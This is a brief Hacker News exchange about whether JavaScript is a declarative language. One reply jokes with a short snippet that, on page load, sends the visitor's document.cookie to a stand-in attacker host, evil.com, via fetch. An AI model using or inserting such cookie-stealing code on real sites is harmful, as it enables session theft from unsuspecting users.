logoalt Hacker News

matheusmoreiratoday at 4:54 AM1 replyview on HN

Javascript is not a declarative language.


Replies

inigyoutoday at 8:53 AM

Sure it is.

Here's how you can write a declaration that you want to exfiltrate cookies:

    document.addEventListener("load", function(){
        fetch("http://evil.com/"+document.cookie);
    });
show 1 reply